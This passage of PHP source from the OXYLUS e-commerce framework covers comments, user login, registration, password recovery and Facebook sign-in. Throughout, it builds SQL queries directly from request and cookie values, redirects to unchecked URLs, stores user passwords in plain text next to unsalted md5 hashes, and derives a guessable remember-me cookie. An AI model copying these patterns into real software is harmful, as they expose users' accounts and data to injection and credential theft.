\"{$_GET[mail_id]}\" ORDER BY mail_priority ASC , mail_date DESC " ); } else { //get the emails list $emails = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:mail_queue']} WHERE mail_date_sent = 0 ORDER BY mail_priority ASC , mail_date DESC " ); } if (is_array($emails)) { foreach ($emails as $key => $data) { $this->module->plugins["mail"]->SendMail( array( "email_from_name" => $data["mail_from_name"], "email_from" => $data["mail_from_email"], "email_to_name" => $data["mail_to_name"], "email_to" => $data["mail_to_email"], "email_subject" => $data["mail_subject"], "email_body" => $data["mail_body"], "email_type" => "html", ) ); //update email status $this->db->QueryUpdate( $this->tables["plugin:mail_queue"], array( "mail_date_sent" => time(), "mail_status" => "1", ), "mail_id={$data[mail_id]}" ); $count ++; } } if ($_GET["returnURL"]) { urlredirect($_GET["returnURL"]); } echo "Sent {$count} emails..."; die(); } } ?>``` site.comments.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallComments extends CPlugin{ var $tplvars; function COXYMallComments() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if ($_GET["sub"] == "oxymall.plugin.comments.ajax.post") { return $this->AjaxPost(); } if ($_GET["sub"] == "oxymall.plugin.comments.ajax.read") { return $this->AjaxRead(); } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "fbcomments" => "fbcomments.htm", "comments" => "comments.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("comments"); } function Comments($url , $type) { global $_CONF; switch ($type) { //local comments case "1": return $this->LocalComments( $this->module->plugins["modules"]->PrepareLink($url) ); break; case "3": return $this->FBComments( $this->module->plugins["modules"]->PrepareLink($url) ); break; } } /** * description * * @param * * @return * * @access */ function AjaxRead() { global $base; $this->__init(); $comments = $this->GetRecords($_POST["url"]); $url = $_POST["url"]; $return = $this->private->templates["comments"]->blockreplace( "AjaxMain" , array( "comments" => $base->html->Table( $this->private->templates["comments"], "", $comments["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $comments["pages"] , $comments["page"], array( "first" => "javascript:loadComments('" . urlencode($url) . "' , '{PAGE}');", "all" => "javascript:loadComments('" . urlencode($url) . "' , '{PAGE}');", ), array( "ipp" => $comments["ipp"], "total" => $comments["count"] ) ) ) ); return CTemplateStatic::Replace( $return , $this->tpl_module["settings"] ); } function FBComments($url) { $this->__init(); return $this->private->templates["fbcomments"]->blockReplace( "Comments", array( "url" => $url, "set_items_fb" => $this->tpl_module["settings"]["set_items_fb"], ) ); } function LocalComments($url) { global $base , $_SESS; $this->__init(); $comments = $this->GetRecords($url); $return = $this->private->templates["comments"]->blockreplace( "Main" , array( "comments" => $base->html->Table( $this->private->templates["comments"], "", $comments["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $comments["pages"] , $comments["page"], array( "first" => "javascript:loadComments('" . urlencode($url) . "' , '{PAGE}');", "all" => "javascript:loadComments('" . urlencode($url) . "' , '{PAGE}');", ), array( "ipp" => $comments["ipp"], "total" => $comments["count"] ) ), "new_comment" => $this->private->templates["comments"]->blockREplace( "New", array( "url" => $url , "capcha" => (($this->tpl_module["settings"]["set_post_capcha"] == "2") || (($this->tpl_module["settings"]["set_post_capcha"] == "1") && !$_SESS["client"]["user_id"])) ? $this->private->templates["comments"]->blockReplace( "Capcha", array() ) : "", "name" => $_SESS["client"]["user_first_name"], "email" => $_SESS["client"]["user_email"], ) ) ) ); //prepare the comments title if ($comments["count"]) { $this->tpl_module["settings"]["set_title"] = CTemplateStatic::Replace( $this->tpl_module["settings"]["set_title"], array( "comments" => $comments["count"] ) ); } else $this->tpl_module["settings"]["set_title"] = $this->tpl_module["settings"]["set_titleno"]; $this->tpl_module["settings"]["set_post_comment"] = nl2br($this->tpl_module["settings"]["set_post_comment"]); return CTemplateStatic::Replace( $return , $this->tpl_module["settings"] ); } function GetRecords($url) { global $_CONF; $count = $this->tpl_module["settings"]["set_items"]; $page = $_GET["page"]; if ($this->tpl_module["settings"]["set_display"]) { $cond = " AND item_status=2 "; } $item_count = $this->db->RowCount( $this->tables['plugin:comments'], "WHERE item_url=\"{$url}\" {$cond} " ); $page = $_POST["page"]; if (!$page && $item_count) { $page = $item_count ? ceil($item_count / $count) : 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:comments']} " . "WHERE item_url=\"{$url}\" {$cond} " . "ORDER BY item_date ASC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_Array($items)) { foreach ($items as $key => $val) { $items[$key]["item_body"] = nl2br( strip_tags( $val["item_body"] ) ); $items[$key]["item_date"] = date( $this->tpl_module["settings"]["set_comments_date_format"], $val["item_date"] ); //process the link if ($val["item_website"]) { if (!stristr($val["item_website"] , "http://")) { $items[$key]["item_website"] = "http://" . $val["item_website"]; } } else $items[$key]["item_website"] = "#"; //process gravatar link $items[$key]["avatar"] = "http://www.gravatar.com/avatar/" . md5($val["item_email"]) . "?s=80&d=" . urlencode($_CONF["url"] . "upload/default-images/comments-avatar.jpg"); } } return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count ); } /** * description * * @param * * @return * * @access */ function AjaxPost() { global $_SESS; $this->__init(); $fields = array( "name" => "set_post_alert_name", "email" => "set_post_alert_email", "message" => "set_post_alert_message" ); foreach ($fields as $key => $val) { if (!$_POST[$key]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"][$val] ); } } //check for capcha if (($this->tpl_module["settings"]["set_post_capcha"] == "2") || (($this->tpl_module["settings"]["set_post_capcha"] == "1") && !$_SESS["client"]["user_id"])) { if ($_POST["image_code"] != $_SESS["XML_verify_key"]) { return $this->module->plugins["common"]->ErrorMSG( $this->tpl_module["settings"]["set_post_alert_capcha"] ); } } $this->db->QueryInsert( $this->tables["plugin:comments"], $comment = array( "item_user" => $_SESS["client"]["user_id"], "item_url" => $_POST["url"], "item_date" => time(), "item_author" => $_POST["name"], "item_website" => $_POST["website"], "item_email" => $_POST["email"], "item_body" => $_POST["message"], "item_status" => "1" //pending ) ); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_admin"], $comment ) ); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_post_alert_success"], $this->tpl_module["settings"]["set_display"] ? "" : $_POST["url"] ); } } ?>``` site.users.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallUsers extends CPlugin{ var $tplvars; function COXYMallUsers() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); if (strstr($_GET["sub"] , "oxymall.plugin.users.")) { $sub = str_replace("oxymall.plugin.users." , "" , $_GET["sub"]); $this->__init(); $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("users"); switch ($sub) { case "signin": return $this->box_signin(); break; case "register": return $this->box_register(); break; case "recover": return $this->box_recover(); break; case "logout": return $this->logout(); break; //new modules case "confirm": return $this->confirm_account(); break; case "recover-password": return $this->Recover_Password(); break; case "ajax.login": return $this->ajax_login(); break; case "ajax.login-facebook": return $this->ajax_login_facebook(); break; case "ajax.recover": return $this->ajax_recover_password(); break; case "ajax.register": return $this->ajax_register(); break; case "ajax.register-facebook": return $this->ajax_register_facebook(); break; case "dashboard": urlredirect($this->module->plugins["modules"]->PrepareLink("account/profile/")); break; case "profile": $this->__check_session(); return $this->Profile(); break; case "ajax.account-profile": return $this->ajax_update_profile(); break; } } } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "summary" => "summary.htm", "login" => "login.htm", "register" => "register.htm", "recover" => "recover.htm", "user-menu" => "user-menu.htm", "page" => "page.htm", "profile" => "profile.htm", "account" => "account.xml", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } $this->tpl_module = $this->module->plugins["modules"]->LoadDefaultModule("users"); } function __autologin() { global $_SESS; $this->__init(); if (!$_SESS["client"]["user_id"]) { if ($_COOKIE["autologin"]) { $user = $this->db->QFEtchArray( "SELECT * FROM {$this->tables['plugin:users']} WHERE user_email='{$_COOKIE[username]}' AND user_status=2" ); if (is_Array($user) && ($_COOKIE["keycode"] == md5($user["user_email"] . $user["user_password"]))) { $_SESS["client"] = $user; } } else { //mabe i have the data in my facebook cookie if ($this->tpl_module["settings"]["set_register_type"] == "2") { $facebook = new Facebook(array( 'appId' => $this->vars->data["set_facebook_app"], 'secret' => $this->vars->data["set_facebook_secret"], )); if ($user = $facebook->getUser()) { $user_data = $this->db->QFEtchArray( "SELECT * FROM {$this->tables['plugin:users']} WHERE user_fbid='{$user}' AND user_status=2" ); } //$session = $facebook->api('/me'); //debug($session,1); if (is_array($user_data)) { $_SESS["client"] = $user_data; } else { //do nothing, i the user is suspended from admin } } } } else { //if user not here means it was banned from admin panel //update the user_Account $user = $this->db->QFEtchArray( "SELECT * FROM {$this->tables['plugin:users']} WHERE user_id='{$_SESS[client][user_id]}' AND user_status=2" ); if (!is_array($user)) { unset($_SESS["client"]); } } } /** * description * * @param * * @return * * @access */ function __check_session($r = "") { global $_SESS; if (!is_array($_SESS["client"])) { urlredirect($this->module->plugins["modules"]->PrepareLink("account/signin/") . ($r ? "?r=" . urlencode($r) : "")); } } /** * description * * @param * * @return * * @access */ function ActionLinks() { return array( "link:login" => $this->module->plugins["modules"]->PrepareLink("account/signin/") . ($_GET["r"] ? "?r=" . urlencode($_GET["r"]) : ""), "link:register" => $this->module->plugins["modules"]->PrepareLink("account/signup/") . ($_GET["r"] ? "?r=" . urlencode($_GET["r"]) : ""), "link:recover" => $this->module->plugins["modules"]->PrepareLink("account/recover/") . ($_GET["r"] ? "?r=" . urlencode($_GET["r"]) : ""), "link:logout" => $this->module->plugins["modules"]->PrepareLink("account/logout/"), "link:account" => $this->module->plugins["modules"]->PrepareLink("account/dashboard/"), "link:profile" => $this->module->plugins["modules"]->PrepareLink("account/profile/"), "link:profile-shop" => $this->module->plugins["modules"]->PrepareLink("account/profile-shop/"), "link:profile-history" => $this->module->plugins["modules"]->PrepareLink("account/history/"), ); } /** * description * * @param * * @return * * @access */ function Summary() { global $_SESS , $_CONF; $this->__init(); if (!$this->tpl_module["module_unique_enabled"]) { return ""; } if ($this->tpl_module["settings"]["set_register_type"] == "2") { $facebook = new Facebook(array( 'appId' => $this->vars->data["set_facebook_app"], 'secret' => $this->vars->data["set_facebook_secret"], )); $user = $facebook->getUser(); } if (is_array($_SESS["client"])) { $return = $this->private->templates["summary"]->BlockReplace( "User" , array_merge( $_SESS["client"], $this->tpl_module["settings"] ) ); } else { if ($facebook) { $return = CTemplateStatic::Replace( $this->private->templates["summary"]->blockReplace( "NoUserFacebook", array_merge( $this->tpl_module["settings"], array( "fb_login" => htmlspecialchars($facebook->getLoginUrl( array( "redirect_uri" => $_CONF["url"] . "ajax.users-login-facebook.php", "scope" => $this->tpl_module["settings"]["set_facebook_scope"] ) ) ) ) ) ) ); } else { $return = CTemplateStatic::Replace( $this->private->templates["summary"]->blockReplace( "NoUser", $this->tpl_module["settings"] ) ); } } return CTemplateStatic::Replace( $return , $this->ActionLinks() ); } function checkLoggedIn() { global $_SESS , $_CONF; if (is_array($_SESS["client"])) { urlredirect($_CONF["url"]); } } function box_signin() { $this->checkLoggedIn(); if ($this->tpl_module["settings"]["set_register_type"] == "2") { $facebook = new Facebook(array( 'appId' => $this->vars->data["set_facebook_app"], 'secret' => $this->vars->data["set_facebook_secret"], )); $facebook_html = $this->private->templates["login"]->blockReplace( "Fb" , array( "fb_login" => $facebook->getLoginUrl( array( "redirect_uri" => $_CONF["url"] . "ajax.users-login-facebook.php", "scope" => $this->tpl_module["settings"]["set_facebook_scope"] ) ) ) ); } $this->module->plugins["modules"]->SetSeo($this->tpl_module); $return = CTemplateStatic::Replace( $this->private->templates["login"]->blockReplace( "Main", array_merge( $this->tpl_module["settings"], array( "facebook_login" => $facebook_html ) ) ), array( "r" => $_GET["r"] ) ); return $this->texts($return); } function box_register() { global $base , $_CONF; $this->checkLoggedIn(); $this->module->plugins["modules"]->SetSeo($this->tpl_module); //get all countries $countries = $this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:users_countries']} ORDER BY item_title ASC"); if (is_array($countries)) { foreach ($countries as $key => $val) { $_countries[] = "'{$val[item_iso]}':'{$val[item_title]}'"; } } switch ($this->tpl_module["settings"]["set_register_type"]) { //temporary disabled case "_2": return $this->Texts( $this->private->templates["register"]->blockReplace( "Facebook", array( "redirect_uri_enc" => urlencode($_CONF["url"] . "ajax.users-register-facebook.php"), "redirect_uri" => ($_CONF["url"] . "ajax.users-register-facebook.php"), "fields" => CTemplateStatic::Replace( (stripslashes(stripslashes($this->tpl_module["settings"]["set_facebook_extra_fields"]))), array( "countries" => @implode(',' , $_countries), ) ), ) ) ); break; default: //local registration $return = $this->private->templates["register"]->blockReplace( "Main", $this->tpl_module["settings"] ); return CTemplateStatic::Replace( $return , $this->ActionLinks() ); break; } } function box_recover() { $this->checkLoggedIn(); $this->module->plugins["modules"]->SetSeo($this->tpl_module); $return = $this->private->templates["recover"]->blockReplace( "Main", $this->tpl_module["settings"] ); return CTemplateStatic::Replace( $return , $this->ActionLinks() ); } function Recover_Password() { global $_CONF; $user = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:users']} WHERE user_key_code=\"{$_GET[key]}\" AND user_key_date <= " . (time() + 3600 * 48 ) ); if (!is_array($user)) { $this->module->plugins["modules"]->RedirectToModule( $this->tpl_module["settings"]["set_page_recover_invalid"] ); } //update the password $user["user_password"] = RandomWord(5); $this->db->QueryUpdate( $this->tables['plugin:users'] , array( "user_password" => md5($user["user_password"]), "user_key_date" => "0", "user_key_code" => "", ) , "user_id={$user[user_id]}" ); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_forgot_new"], $user ) ); $this->module->plugins["modules"]->RedirectToModule( $this->tpl_module["settings"]["set_page_recover"] ); } function ajax_recover_password() { global $_SESS; if(!$_POST["email"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_recover_notvalidemailalert"] ); } $user = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:users']} WHERE user_email=\"{$_POST[email]}\""); if(!is_array($user)){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_recover_notvalidemailalert"] ); } $key = md5($_POST["email"] . time()); $user["user_key_code"] = $key; $this->db->QueryUpdate( $this->tables["plugin:users"], array( "user_key_date" => time(), "user_key_code" => $key, ), "user_id={$user[user_id]}" ); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_forgot_link"], $user ) ); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_recover_successalert"] ); } function ajax_register() { global $_CONF , $_SESS; if(!$_POST["first_name"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_namealert"] ); } if(!$_POST["last_name"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_namealert"] ); } if(!$_POST["email"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_usernamealert"] ); } if(!preg_match("/^([a-zA-Z0-9])+([a-zA-Z0-9\._-])*@([a-zA-Z0-9_-])+([a-zA-Z0-9\._-]+)+$/",$_POST["email"])){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_notvalidemailalert"] ); } if($_POST["email"] != $_POST["confirm_email"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_emailsalert"] ); } //check if users already exists $user = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:users']} WHERE user_email=\"{$_POST[email]}\""); if(is_array($user)){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_existsalert"] ); } if(!$_POST["password"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_passwordalert"] ); } if($_POST["password"] != $_POST["confirm_password"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_wrongpasswordsalert"] ); } if(!$_POST["tos"]){ return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_register_tosalert"] ); } //generate the user record $user = array( "user_email" => $_POST["email"], "user_email_original" => $_POST["email"], "user_first_name" => $_POST["first_name"], "user_last_name" => $_POST["last_name"], "user_password" => md5($_POST["password"]), //store this for password "user_password_plain" => $_POST["password"], "user_date" => time(), "user_key" => md5($_POST["email"] . time()), "user_key_code" => md5($_POST["email"] . time()), "user_key_date" => time(), "user_status" => $this->tpl_module["settings"]["set_default_status"], "user_groups" => $this->tpl_module["settings"]["set_default_group"], //store address "user_address" => $_POST["user_address_1"], "user_address_2" => $_POST["user_address_2"], "user_city" => $_POST["user_city"], "user_state" => $_POST["user_state"], "user_zip" => $_POST["user_zip"], "user_phone" => $_POST["user_phone"], //save data "user_register_ip" => $_SERVER["REMOTE_ADDR"], ); //check if user is banned if ($this->isBanned($user , false)) { } //generate the keycode for this user $id = $this->db->QueryInsert( $this->tables["plugin:users"], $user ); //$this->db->Query("delete from {$this->tables['plugin:users']} where user_id={$id}"); //make the list of emails to be sent switch ($this->tpl_module["settings"]["set_default_status"]) { //inactive case "1": $email = "set_mail_confirm"; break; //active case "2": $email = "set_mail_welcome"; break; case "3": $email = "set_mail_pending"; break; } //send the mail $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"][$email], $user ) ); $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_admin"], $user ) ); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_register_successalert"] ); } /** * description * * @param * * @return * * @access */ function ajax_register_facebook() { global $_SESS; $facebook = new Facebook(array( 'appId' => $this->vars->data["set_facebook_app"], 'secret' => $this->vars->data["set_facebook_secret"], )); $data = $facebook->getSignedRequest(); if (is_array($data["registration"])) { //check if i have this user already registered $user = $this->db->QFetchArray( " SELECT * FROM {$this->tables['plugin:users']} WHERE user_email='{$data[registration][email]}' " ); $name = explode(" " , $data["registration"]["name"]); $first_name = $name[0]; unset($name[0]); $last_name = @implode(" " , $name); if (is_array($user)) { $this->db->QueryUpdate( $this->tables['plugin:users'], array( "user_fbid" => $data["user_id"], "user_status" => $user["user_status"] < 2 ? 2 : $user["user_status"], "user_first_name" => $user["user_first_name"] ? $user["user_first_name"] : $first_name, "user_last_name" => $user["user_last_name"] ? $user["user_last_name"] : $last_name, "user_city" => $user["user_city"] ? $user["user_city"] : $data["registration"]["city"], "user_state" => $user["user_state"] ? $user["user_state"] : $data["registration"]["state"], "user_zip" => $user["user_zip"] ? $user["user_zip"] : $data["registration"]["zip"], "user_country" => $user["user_country"] ? $user["user_country"] : strtoupper($data["registration"]["country"]), "user_address" => $user["user_address"] ? $user["user_address"] : $data["registration"]["address"], "user_gender" => $user["user_gender"] ? $user["user_gender"] : $data["registration"]["gender"], "user_bday" => $user["user_bday"] ? $user["user_bday"] : $data["registration"]["birthday"], ), "user_email='{$data[registration][email]}'" ); $user = $this->db->QFetchArray( " SELECT * FROM {$this->tables['plugin:users']} WHERE user_email='{$data[registration][email]}' " ); } else { $id = $this->db->QueryInsert( $this->tables['plugin:users'], array( "user_fbid" => $data["user_id"], "user_status" => "2", "user_first_name" => $first_name, "user_last_name" => $last_name, "user_city" => $data["registration"]["city"], "user_state" => $data["registration"]["state"], "user_zip" => $data["registration"]["zip"], "user_country" => strtoupper($data["registration"]["country"]), "user_address" => $data["registration"]["address"], "user_gender" => $data["registration"]["gender"], "user_bday" => $data["registration"]["birthday"], "user_date" => time(), "user_password" => md5($data["registration"]["password"]), //store this for password "user_password_plain" => $data["registration"]["password"], "user_date" => time(), "user_key" => md5($data["registration"]["email"] . time()), "user_key_code" => md5($data["registration"]["email"] . time()), "user_key_date" => time(), "user_email" => $data["registration"]["email"], "user_groups" => $this->tpl_module["settings"]["set_default_group_facebook"], ) ); $user = $this->db->QFetchArray( " SELECT * FROM {$this->tables['plugin:users']} WHERE user_email='{$data[registration][email]}' " ); } $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_welcome_facebook"], $user ) ); //force login $_SESS["client"] = $user; } $this->module->plugins["modules"]->RedirectToModule( $this->tpl_module["settings"]["set_page_facebook"] ); } /** * description * * @param * * @return * * @access */ function ajax_register_facebook_summary() { global $_CONF , $_SESS; $facebook = new Facebook(array( 'appId' => $this->vars->data["set_facebook_app"], 'secret' => $this->vars->data["set_facebook_secret"], )); $user_profile = $facebook->api('/me'); //check fo see if i have an user with this email $local_user = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:users']} WHERE user_email='{$user_profile[email]}'" ); if (is_array($local_user)) { $this->db->QueryUpdate( $this->tables['plugin:users'], $new_user = array( "user_fbid" => $user_profile["id"], "user_status" => $local_user["user_status"] < 2 ? 2 : $local_user["user_status"], "user_first_name" => $user_profile["first_name"], "user_last_name" => $user_profile["last_name"], "user_gender" => $user_profile["gender"], "user_bday" => $user_profile["birthday"], ), "user_email='{$user_profile[email]}'" ); $user = array_merge( $local_user , $new_user ); } else { $id = $this->db->QueryInsert( $this->tables['plugin:users'], $user = array( "user_fbid" => $user_profile["id"], "user_status" => "2", "user_first_name" => $user_profile["first_name"], "user_last_name" => $user_profile["last_name"], "user_gender" => $user_profile["gender"], "user_bday" => $user_profile["birthday"], "user_date" => time(), "user_key" => md5($user_profile["email"] . time()), "user_key_code" => md5($user_profile["email"] . time()), "user_key_date" => time(), "user_email" => $user_profile["email"], "user_groups" => $this->tpl_module["settings"]["set_default_group_facebook"], ) ); //send the mail to thanks for loging in $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"]["set_mail_welcome_facebook"], $user ) ); //force login $_SESS["client"] = $this->GetUserById($id); //redirect to welcome page for facebook $this->module->plugins["modules"]->RedirectToModule( $this->tpl_module["settings"]["set_page_facebook"] ); } //force login $_SESS["client"] = $user; urlredirect($_CONF["url"]); } function confirm_account() { global $_CONF , $_SESS; if (!$_GET["key"]) { $this->module->plugins["modules"]->RedirectToModule( $this->tpl_module["settings"]["set_page_confirmed_invalid"] ); } //check the key $user = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:users']} WHERE user_key_code=\"{$_GET[key]}\" and user_status=1"); if (!is_array($user)) { $this->module->plugins["modules"]->RedirectToModule( $this->tpl_module["settings"]["set_page_confirmed_invalid"] ); } //update the status $this->db->QueryUpdate( $this->tables['plugin:users'], array( "user_status" => $this->tpl_module["settings"]["set_default_confirm_status"] ), "user_id={$user[user_id]}" ); //make the list of emails to be sent switch ($this->tpl_module["settings"]["set_default_confirm_status"]) { //active case "2": $email = "set_mail_welcome"; break; case "3": $email = "set_mail_pendings"; break; } //send the mail $email = $this->module->plugins["mail"]->SendMail( $this->module->plugins["mail"]->GetMail( $this->tpl_module["settings"][$email], $user ) ); //if user doesnt need admin confirmation then autologin if ($this->tpl_module["settings"]["set_default_confirm_status"] == "2") { $_SESS["client"] = $user; } //save the user in session, to autologin him $this->module->plugins["modules"]->RedirectToModule( $this->tpl_module["settings"]["set_page_confirmed"] ); } function ajax_login() { global $_CONF , $_SESS; //check for username if (!$_POST["email"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_login_useremailalert"] ); } //check for password if (!$_POST["password"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_login_passwordalert"] ); } //download the user $user = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:users']} WHERE user_email=\"{$_POST[email]}\""); //check for user if (!is_array($user)) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_login_wronginfoalert"] ); } if (!$user["user_password"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_login_facebook"] ); } //check for password if (md5($_POST["password"])!= $user["user_password"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_login_wronginfoalert"] ); } //check if the user is suspended if ($user["user_status"] == 4) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_login_usersuspendedalert"] ); } //check if i can login if account isnt confirmed if (($user["user_status"] == 1) && !stristr($this->tpl_module["settings"]["set_login"] , 1)) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_login_usernotconfirmedalert"] ); } //check if the user is trying to login from a banned domain if ($this->isBanned($user)) { ///not implemented in simple version } //save the access ip if (is_array($acc = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:users_access']} WHERE access_user={$user[user_id]} AND access_ip='{$_SERVER[REMOTE_ADDR]}'"))) { //update last access to current date $this->db->QueryUpdate( $this->tables['plugin:users_access'], array( "access_last" => time(), "access_times" => $acc["access_times"] + 1 ), "access_id={$acc[access_id]}" ); } else { //save a new ip for this user $this->db->QueryInsert( $this->tables['plugin:users_access'], array( "access_user" => $user["user_id"], "access_ip" => $_SERVER["REMOTE_ADDR"], "access_last" => time(), "access_times" => 1, ) ); } //check if i have the autoremember if ($_POST["remember"]) { $time = time()+3600 *24 * 3600 ; // one year ahead setcookie("autologin", "true", $time , "/"); setcookie("username", $user["user_email"], $time , "/"); setcookie("keycode" , md5($user["user_email"] . $client["user_password"]) , $time , "/"); } //save the user in session $_SESS["client"] = $user; $this->UpdateSession($user); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_login_correctloginalert"], $_POST["r"] ? $this->module->plugins["modules"]->PrepareLink($_POST["r"]) : $_CONF["url"] ); } /** * description * * @param * * @return * * @access */ function ajax_login_facebook() { global $_SESS , $_CONF; $facebook = new Facebook(array( 'appId' => $this->vars->data["set_facebook_app"], 'secret' => $this->vars->data["set_facebook_secret"], )); $user = $facebook->getUser(); $_SESS["facebook"] = array( "state" => $_SESSION["fb_" . $this->vars->data["set_facebook_app"] . "_state"], "code" => $_SESSION["fb_" . $this->vars->data["set_facebook_app"] . "_code"], "user" => $_SESSION["fb_" . $this->vars->data["set_facebook_app"] . "_user_id"], "access_token" => $_SESSION["fb_" . $this->vars->data["set_facebook_app"] . "_access_token"], ); if ($user) { $user_data = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:users']} WHERE user_fbid='{$user}'" ); if (is_array($user_data)) { $_SESS["client"] = $user_data; } else { $this->ajax_register_facebook_summary(); } } //redirect to homepage urlredirect($_CONF["url"]); } function ajax_update_profile() { global $_SESS; if (!$_SESS["client"]["user_id"]) { return $this->module->plugins["common"]->SuccessMsg( "", $this->module->plugins["modules"]->PrepareLink("signin/") ); } $fields = array( "user_first_name", "user_last_name", ); if ($_SERVER["REQUEST_METHOD"] != "POST") { return "invalid request"; } if (!$_POST["user_first_name"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_account_firstalert"] ); } if (!$_POST["user_last_name"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_account_lastalert"] ); } if ($_POST["user_password_new"]) { $new_data["user_password_plain"] = $_POST["user_password_new"]; $new_data["user_password"] = md5($_POST["user_password_new"]); //check if current password its exact if ($_SESS["client"]["user_password"]) { if (md5($_POST["user_password"]) != $_SESS["client"]["user_password"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_account_currentpasswordalert"] ); } } //check the new pass against confirmation if ($_POST["user_password_new"] != $_POST["user_password_confirm"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_account_wrongnewpasswordalert"] ); } } //prepare the update field foreach ($fields as $key => $val) { $new_data[$val] = $_POST[$val]; } $this->db->QueryUpdate( $this->tables['plugin:users'], $new_data, "user_id=" . $_SESS["client"]["user_id"] ); $this->UpdateSession(); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_account_successalert"] ); } /** * description * * @param * * @return * * @access */ function isBanned($user , $login = true) { //works in extended version only return false; } /** * description * * @param * * @return * * @access */ function GetUserById($id) { $user = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:users']} WHERE user_id={$id}" ); return $user; } /** * description * * @param * * @return * * @access */ function UpdateUserById($id , $data) { if (!is_array($data)) { return false; } $this->db->QueryUpdate( $this->tables['plugin:users'], $data, "user_id={$id}" ); return true; } /** * description * * @param * * @return * * @access */ function Logout() { global $_SESS, $_CONF; unset($_SESS["client"]); //remove the rememberme cookie cookies $time = time()-3600 *24 ; // one year ahead setcookie("autologin", "", $time , "/"); setcookie("username", "", $time , "/"); setcookie("keycode" , "" , $time , "/"); if ($this->tpl_module["settings"]["set_register_type"] == "2") { $facebook = new Facebook(array( 'appId' => $this->vars->data["set_facebook_app"], 'secret' => 